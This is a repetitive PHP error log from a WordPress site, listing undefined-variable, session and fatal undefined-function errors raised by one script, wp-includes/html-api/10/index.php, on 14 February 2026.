[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
